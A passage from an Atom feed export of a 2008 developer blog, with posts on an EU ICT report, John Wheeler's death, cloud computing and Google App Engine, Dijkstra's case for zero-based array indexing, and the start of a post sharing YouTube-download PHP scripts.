flashvars="bgColor=FFFFFF&amp;amp;file=http://static.videoegg.com/ted/movies/ROYGOULD-2008_high.flv&amp;amp;autoPlay=false&amp;amp;fullscreenURL=http://static.videoegg.com/ted/flash/fullscreen.html&amp;amp;forcePlay=false&amp;amp;logo=&amp;amp;allowFullscreen=true" quality="high" allowscriptaccess="always" bgcolor="#FFFFFF" scale="noscale" wmode="window" name="VE_Player" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" align="middle" height="285" width="432"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-5890552297071829000?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5890552297071829000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5890552297071829000'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/04/microsofts-big-bang-world-wide.html' title='Microsoft&apos;s Big Bang: The World Wide Telescope'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_PNe-bgIDyRw/SBkWZxZQUbI/AAAAAAAAAGw/QKiwqUdNAoU/s72-c/wwt_icon1.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-5916753387145028058</id><published>2008-04-20T12:19:00.000-07:00</published><updated>2008-12-09T07:12:01.509-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>European ICT Report 2007: "Greece Sucks, Denmark Rules"</title><content type='html'>I was recently in Brussels, having some work in the European Commission. Having finished and while waiting in the lounge of the building of our meeting, I grabbed a booklet, from&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SAuj0VNiEcI/AAAAAAAAAGo/SEMaYO3S_Dw/s1600-h/eu_Img.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 168px; height: 154px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SAuj0VNiEcI/AAAAAAAAAGo/SEMaYO3S_Dw/s200/eu_Img.jpg" alt="" id="BLOGGER_PHOTO_ID_5191423114917056962" border="0" /&gt;&lt;/a&gt; the shelves around, titled "&lt;span style="font-weight: bold;"&gt;European Commission's Annual ICT Report: 2007&lt;/span&gt;". This special branch of the EU publishes every year statistics about the performance of its members in the area of Information and Communication Technologies.&lt;br /&gt;&lt;br /&gt;I browsed immediately to the page talking about &lt;span style="font-weight: bold;"&gt;Greece&lt;/span&gt; but the phrase "&lt;span style="font-style: italic; font-weight: bold;"&gt;am&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;ong the lowest&lt;/span&gt;"&lt;/span&gt; kept showing over and over again in the text! The summary was: "Information Society in Greece is still developing slowly and on most indicators Greece is close to the bottom of the EU. There are signs of increasing gaps compared to other EU countries". Damn...EU also says Greece is &lt;span style="font-style: italic;"&gt;among the lowest &lt;/span&gt;in broadband take-up, use of internet, eGovernment use, number of connected PC's in schools and ICT skills among employees.. Wow! We are also among the lowest nearly in every indicator.&lt;br /&gt;&lt;br /&gt;On the other hand, &lt;span style="font-weight: bold;"&gt;Denmark&lt;/span&gt; seems to be the champion. Denmark places 1st in many crucial indicators like DSL coverage, e-Learning and e-Commerce. Skill level is considered among the highest in Europe and Denmark is considered as a leader in developing the European ICT society.&lt;br /&gt;You can find more &lt;a href="http://ec.europa.eu/information_society/newsroom/cf/itemdetail.cfm?item_id=3303"&gt;statistics about the European ICT status here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This is not news for us, however. Our strategy is void because people in charge, are void. Having skilled employees while having a Prime Minister that has never been employed anywhere, would be a contradiction.&lt;br /&gt;&lt;br /&gt;The good news is that, since we are at the bottom, there is only one way: Going up! :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-5916753387145028058?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5916753387145028058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5916753387145028058'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/04/european-ict-report-2007-greece-sucks.html' title='European ICT Report 2007: &quot;Greece Sucks, Denmark Rules&quot;'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/SAuj0VNiEcI/AAAAAAAAAGo/SEMaYO3S_Dw/s72-c/eu_Img.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-1110878024928336766</id><published>2008-04-15T07:02:00.000-07:00</published><updated>2008-12-09T07:12:01.638-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>"Time Is What Prevents Everything From Happening At Once.." - John Wheeler (1911-2008)</title><content type='html'>The quote continues: "&lt;span style="font-style: italic;"&gt;Space is what prevents everything from happening to me!"&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/John_Archibald_Wheeler"&gt;John Wheeler&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;, &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;has for a long time, been studying advanced concepts of theoretical physics, which for the most people are somewhat taken for granted, space,time, gravity and so on. He passed away in Sunday, 13th of April 2008, at the age of 97.&lt;br /&gt;&lt;br /&gt;John Wheeler was one among the last of the 'big school' of theoretical physic&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SATupzfNydI/AAAAAAAAAGg/iO6RjG3Ztj4/s1600-h/keep-walking-john-wheeler-einstein.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 227px; height: 219px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SATupzfNydI/AAAAAAAAAGg/iO6RjG3Ztj4/s200/keep-walking-john-wheeler-einstein.jpg" alt="" id="BLOGGER_PHOTO_ID_5189535072600836562" border="0" /&gt;&lt;/a&gt;s. He has worked with legendary figures such as Niels Bohr, Oppenheimer and Albert Einstein(&lt;span style="font-style: italic;"&gt;related photo)&lt;/span&gt; and he is the inventor of the popular term '&lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Black_hole"&gt;black hole&lt;/a&gt;'&lt;/span&gt;, this strange 'creature' that is so big that even its own image cannot evade from its infinite gravity (visible light cannot reflect or be emitted) At some point in 1941 Wheeler joined the famous (or infamous) &lt;span style="font-weight: bold;"&gt;Manhattan project. &lt;/span&gt;Among his graduate students as a professor in Princeton, were Richard Feynman and Kip Thorne.&lt;br /&gt;&lt;br /&gt;I suppose, everybody from a CS background has developed at some stage of his life a certain interest for astronomy and physics. I, my self, at a young age was a fan of such fields along with science fiction. I never actually understood what was going on with these strange quantum equations but I think I find my self equally astonished when confronted with concepts like '&lt;span style="font-style: italic;"&gt;black holes' &lt;/span&gt;or '&lt;span style="font-style: italic;"&gt;time bending'&lt;/span&gt;. Astonished at least.&lt;br /&gt;&lt;br /&gt;You can find lots more information in the &lt;a href="http://www.princeton.edu/main/news/archive/S20/82/08G77/index.xml?section=topstories"&gt;official press release from the Princeton University site&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-1110878024928336766?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1110878024928336766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1110878024928336766'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/04/time-is-what-keeps-things-happening-all.html' title='&quot;Time Is What Prevents Everything From Happening At Once..&quot; - John Wheeler (1911-2008)'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_PNe-bgIDyRw/SATupzfNydI/AAAAAAAAAGg/iO6RjG3Ztj4/s72-c/keep-walking-john-wheeler-einstein.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-6907874907831847990</id><published>2008-04-13T16:16:00.000-07:00</published><updated>2008-12-09T07:12:02.121-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>The Dawn Of Cloud Computing</title><content type='html'>In a fairly poor article in Wikipedia, '&lt;a href="http://en.wikipedia.org/wiki/Cloud_computing"&gt;cloud computing&lt;/a&gt;' is defined as the subset of &lt;span style="font-style: italic;"&gt;grid computing &lt;/span&gt;that includes a number of approaches to the use of shared computer resources. Anyway, there is plenty more information in the terms used: &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;cloud&lt;/span&gt; &lt;/span&gt;and &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;computing&lt;/span&gt;, &lt;/span&gt;which it is immediately understood that the computing part is done somewhere else than locally, ergo 'in the cloud'.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SAKiODfNyZI/AAAAAAAAAGA/wGi_g8_Ub3g/s1600-h/cloud.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SAKiODfNyZI/AAAAAAAAAGA/wGi_g8_Ub3g/s200/cloud.jpg" alt="" id="BLOGGER_PHOTO_ID_5188888083022334354" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There was too much fuss over Google's new web application framework, &lt;a href="http://code.google.com/appengine/"&gt;&lt;span style="font-weight: bold;"&gt;Google&lt;/span&gt;&lt;/a&gt;&lt;a href="http://code.google.com/appengine/"&gt;&lt;span style="font-weight: bold;"&gt; App Engine&lt;/span&gt;&lt;/a&gt;, but the story begins long before Google decided to offer its services to some extent for free to developers. Historically begins from Unix's &lt;span style="font-weight: bold;"&gt;RPC &lt;/span&gt;utility, then moves on to &lt;span style="font-weight: bold;"&gt;Web Services &lt;/span&gt;technology until &lt;span style="font-weight: bold;"&gt;Amazon&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;built a massive infrastructure to provide with some practical value to concepts that otherwise might be only at the theory level. While it might be controversial, in my opinion this was the first 'computing cloud' ever appeared in the web.&lt;br /&gt;&lt;br /&gt;In some of my previous posts, although not initially planned,  I actually gave some examples on what cloud computing might be. At least from my own perspective. For example, I had given some &lt;a href="http://developeronline.blogspot.com/2008/01/text-to-speech-for-masses.html"&gt;source code for building a &lt;span style="font-weight: bold;"&gt;text-to-speech application&lt;/span&gt; on .NET&lt;/a&gt; of a relatively superior quality. Do I know anything about speech technology? No and perhaps I never will, but I know a bit of developing and I could use a very powerful TTS service from AT&amp;amp;T. In a more recent example, I released &lt;a href="http://developeronline.blogspot.com/2008/04/perl-by-example-english-dictionary-in.html"&gt;source code for building a dictionary in Perl based on Princeton's WordNet&lt;/a&gt;. Both in these examples, I shifted the hard computing part to some place in the Web and despite this looks like more than a 'software as a service' approach, in a more large scale, it actually becomes cloud computing.&lt;br /&gt;&lt;br /&gt;However, &lt;a href="http://www.amazon.com/Web-Services-AWS-home-page/b/ref=sc_fe_c_2_3435361_2?ie=UTF8&amp;amp;node=15763381&amp;amp;no=3435361&amp;amp;me=A36L942TSJ2AJA"&gt;Amazon's Web Services&lt;/a&gt; is a true cloud computing platform. It currently hosts a number of very large-scale services and it keeps growing. For example, there is one that allows merchants to store products in Amazon's inventories and have Amazon take care of orders, packaging, delivery and so on. My 'favorite' though is &lt;span style="font-weight: bold;"&gt;Amazon Mechanical Turk&lt;/span&gt;, I gu&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SAKj_TfNyaI/AAAAAAAAAGI/DGDufv_UcpU/s1600-h/250px-Turk-engraving5.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SAKj_TfNyaI/AAAAAAAAAGI/DGDufv_UcpU/s200/250px-Turk-engraving5.jpg" alt="" id="BLOGGER_PHOTO_ID_5188890028642519458" border="0" /&gt;&lt;/a&gt;ess mainly for the &lt;span style="font-weight: bold;"&gt;excelle&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;nt name&lt;/span&gt; they came up with. The &lt;span&gt;"&lt;a href="http://en.wikipedia.org/wiki/The_Turk"&gt;Mechanical Turk&lt;/a&gt;" (&lt;span style="font-style: italic;"&gt;photo)&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;was a machine in the 18th century that supposedly could play chess. However, the 'machine' had a person inside that could manipulate it and make it appear as if the machine plays by itself! In the same way, Amazon's Mechanical Turk, distributes a computing task that requires AI to a huge pool of humans that carry it out. &lt;a href="http://www.tagcow.com/"&gt;TagCow web site&lt;/a&gt; is the perfect example for that. TagCow tags images based on human classification. Anyone can participate and can make some 5-6$ a hour by tagging images and uploading his work to TagCow!&lt;br /&gt;&lt;br /&gt;On the other hand Google has come late and a little messy. The Google App Engine &lt;span style="font-style: italic;"&gt;(logo in photo)&lt;/span&gt; lets you build web applications and host them in the Google cloud. It is like having a huge &lt;span style="font-weight: bold;"&gt;cgi-bin &lt;/span&gt;at your disposal for you to build web applications and you only have to write the scripts. This is no&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SAKkSzfNybI/AAAAAAAAAGQ/My5wP47Gm6Y/s1600-h/appengine_lowres.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 103px; height: 81px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SAKkSzfNybI/AAAAAAAAAGQ/My5wP47Gm6Y/s200/appengine_lowres.jpg" alt="" id="BLOGGER_PHOTO_ID_5188890363649968562" border="0" /&gt;&lt;/a&gt;t bad for a 'Building Web Applications for Dummies' book but it is not for serious stuff.&lt;br /&gt;&lt;br /&gt;First of all I don't like Python. Its creator works for Google and it is reasonable to be heavily sponsored, but still to my small eyes it is Yet Another Copy of Perl, basically taking advantage of Perl's inadequate support for OOP and as such I will never bother (again) learning it. Anyway, the most important part is Google's &lt;span style="font-weight: bold;"&gt;obsession&lt;/span&gt; with anything &lt;span style="font-weight: bold;"&gt;anti-Microsoft.&lt;/span&gt; This just ends up being &lt;span style="font-weight: bold;"&gt;ridiculous&lt;/span&gt;. I really couldn't watch more than 2 minutes &lt;a href="http://www.youtube.com/watch?v=bfgO-LXGpTM"&gt;the Google App Engine introductory video&lt;/a&gt;. Just for the &lt;span style="font-weight: bold;"&gt;semiology&lt;/span&gt;: He uses a Mac. He opens a plain text editor. He handwrites a number of commands, conventions and API definitions just to make a Hello-World web application to finally take pride in running a local server that displays the famous developer's message. &lt;span style="font-weight: bold;"&gt;Ok guys we get it: Microsoft sucks!&lt;/span&gt; So we should forget about IDE's, syntax highlighting, debug tools and Intellisense? Otherwise, show some respect to people's time because developing on text editor is great as long as it is people's choice.  &lt;span&gt;And one more: &lt;/span&gt;&lt;span&gt;WYSIWYG is great as long as it is &lt;span style="font-weight: bold;"&gt;Perl&lt;/span&gt;!&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;On the other hand, Microsoft's counterpart although not so popular has been around for some years now. &lt;a href="http://www.popfly.com/Overview/"&gt;Microsoft's Popfly&lt;/a&gt; (with the silly duck-logo) enables developers to build much more complicated web apps in much less time. There are also rumors about Microsoft getting into cloud computing under the funny 'Red Dog' but I do not know much more details.&lt;br /&gt;&lt;br /&gt;Anyway, this is only the beginning. I believe we will soon become witnesses of cloud computing to much more greater extent. The scalability that this offers gives great potentials to developers and it is really interesting to see what will be the next step to this process. Exciting developer times!&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-6907874907831847990?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6907874907831847990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6907874907831847990'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/04/dawn-of-cloud-computing.html' title='The Dawn Of Cloud Computing'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_PNe-bgIDyRw/SAKiODfNyZI/AAAAAAAAAGA/wGi_g8_Ub3g/s72-c/cloud.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-9126201590207972657</id><published>2008-04-06T00:43:00.000-07:00</published><updated>2008-12-09T07:12:02.441-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>Why The Array Index Should Start From 0</title><content type='html'>I recently came across &lt;a href="http://www.cs.utexas.edu/users/EWD/transcriptions/EWD08xx/EWD831.html"&gt;an article from Dijkstra&lt;/a&gt;(&lt;span style="font-style: italic;"&gt;photo)&lt;/span&gt; explaining a fact that looked obvious to me before: Why should start indexing an array from 0. I was amused to find out that there is some clever thinking behind this.&lt;br /&gt;&lt;br /&gt;All popular languages, like C/C++, Java or Perl start indexing an array from 0 w&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R_iPfPFylaI/AAAAAAAAAF4/rXIScv0S6Y0/s1600-h/dijkstra.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 203px; height: 233px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R_iPfPFylaI/AAAAAAAAAF4/rXIScv0S6Y0/s200/dijkstra.jpg" alt="" id="BLOGGER_PHOTO_ID_5186052737706661282" border="0" /&gt;&lt;/a&gt;hile the last index is the array length minus 1. While this is usual to most developers, it is not a de facto situation for all programming languages. For example in Fortran, when you declare an array with &lt;span style="font-style: italic;"&gt;'integer a(10)&lt;/span&gt;', aka an int array having 10 elements, the index starts from 1 and ends at 10 (however you can override this behavior using a statement like, &lt;span style="font-style: italic;"&gt;integer a(0:9), &lt;/span&gt;declaring an array with indices from 0 to 9, but anyway).&lt;br /&gt;&lt;br /&gt;The discussion over why the array index should start at zero is not a trivial one and relates to interesting concepts from computer science. First of all, it has strong relation to language design. For example in C, the name of an array is essentially a pointer, a reference to a memory location, and so the expression &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;array[n]&lt;/span&gt;&lt;/span&gt; refers to a memory location &lt;span style="font-weight: bold;"&gt;n-elements &lt;/span&gt;away from the starting element. This means that the index is used as an &lt;span style="font-weight: bold;"&gt;offset&lt;/span&gt;. The first element of the array is exactly contained in the memory location that &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;array &lt;/span&gt;&lt;/span&gt;refers (0 elements away), so it should be denoted as &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;array[0]&lt;/span&gt;&lt;/span&gt;. Most programming languages have been designed this way, so indexing from 0 is pretty much inherent to the language.&lt;br /&gt;&lt;br /&gt;However, Dijkstra explains why we &lt;span style="font-weight: bold;"&gt;should index &lt;/span&gt;from 0. This is a problem on how to denote a subsequence of &lt;span style="font-weight: bold;"&gt;natural numbers&lt;/span&gt;, say for example 1,2,3,...,10. We have four solutions available:&lt;br /&gt;a.  &lt;span style="font-style: italic;"&gt;0&lt;i&gt;&amp;lt;i&lt;/i&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;11 &lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;br /&gt;b.  &lt;span style="font-style: italic;"&gt;1&lt;/span&gt;&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span style="font-style: italic;"&gt;=i&lt;/span&gt;&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span style="font-style: italic;"&gt;11&lt;br /&gt;&lt;/span&gt;c.  &lt;span style="font-style: italic;"&gt;0&lt;/span&gt;&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;i&amp;lt;=10&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;d.  &lt;span style="font-style: italic;"&gt;1&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span style="font-style: italic;"&gt;=i&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span style="font-style: italic;"&gt;=10&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;Dijkstra argues that the &lt;span style="font-style: italic;"&gt;proper notation&lt;/span&gt; should be able to denote &lt;span&gt;&lt;span style="font-style: italic;"&gt;naturally&lt;/span&gt; &lt;/span&gt;the two following cases:&lt;i&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;1. The subsequence includes the smallest natural number, 0&lt;br /&gt;2. The subsequence is empty&lt;/span&gt;&lt;br /&gt;&lt;i&gt;&lt;i&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;Requirement &lt;span style="font-weight: bold;"&gt;1. &lt;/span&gt;leaves out &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;a.&lt;/span&gt; &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;c.&lt;/span&gt; &lt;/span&gt;since they would have the form &lt;span style="font-style: italic;"&gt;-1&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&amp;lt;i&lt;/span&gt; which uses a number not lying in the natural number set (Dijkstra says this is &lt;span style="font-style: italic;"&gt;ugly&lt;/span&gt;). So we are left with &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;b.&lt;/span&gt; &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;d.&lt;/span&gt; &lt;/span&gt;Now requirement &lt;span style="font-weight: bold;"&gt;2. &lt;/span&gt;leaves out &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;d.&lt;/span&gt; &lt;/span&gt;since for a set &lt;span style="font-weight: bold;"&gt;including 0&lt;/span&gt; that is &lt;span style="font-weight: bold;"&gt;shrunk &lt;/span&gt;to the empty one, &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;d.&lt;/span&gt; &lt;/span&gt;takes the form &lt;span&gt;&lt;span style="font-style: italic;"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-style: italic;"&gt;=i&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-style: italic;"&gt;=-1&lt;/span&gt;, &lt;/span&gt;which is a little...well, messed up!  Subtracting the ranges in &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;b.&lt;/span&gt; &lt;/span&gt;we also get the &lt;span style="font-weight: bold;"&gt;sequence length&lt;/span&gt;, which is another plus. Hence we are left with &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;b.&lt;/span&gt; &lt;/span&gt;which is by far the most widely used notation in programming now.&lt;br /&gt;&lt;br /&gt;Now you know. So, remember and take pride in the fact that each time you write something like&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;for(i=0;i&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;i&gt;&amp;lt;N;i++)&lt;br /&gt;{&lt;br /&gt;sum+= a[i];&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;}&lt;br /&gt;you are not just following the rules of language notation. You are also promoting mathematical beauty!&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-9126201590207972657?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/9126201590207972657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/9126201590207972657'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/04/why-array-index-should-start-from-0.html' title='Why The Array Index Should Start From 0'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R_iPfPFylaI/AAAAAAAAAF4/rXIScv0S6Y0/s72-c/dijkstra.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-2475509537348702048</id><published>2008-04-04T18:06:00.000-07:00</published><updated>2008-04-04T18:35:28.369-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='source code'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Popular Demand: The Youtube Download PHP Scripts</title><content type='html'>I had posted an article explaining &lt;a href="http://developeronline.blogspot.com/2008/02/download-youtube-videos-with-php.html"&gt;how to download YouTube videos by knowing its URL&lt;/a&gt;. This technique can be implemented in any language, however I chose to make it in PHP.&lt;br /&gt;This enables you to have it on your own sites.&lt;br /&gt;&lt;br /&gt;The regular readers of DOL might have noticed a little iFrame, at the bottom right of the blog, that hosted the PHP scripts in my home machine. However, sometimes I have to go to sleep and sometimes I tend to shut the PC down. Also, my connection is a miserable 2M ADSL line so my home network usually was crumbed by heavy traffic. As a result the YouTube download tool was not always working and this was frustrating to many people. I agree and I apologize.&lt;br /&gt;So, under popular demand here are is the source code. Enjoy!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;iFrame HTML code (trivial):&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;html&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;head&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier 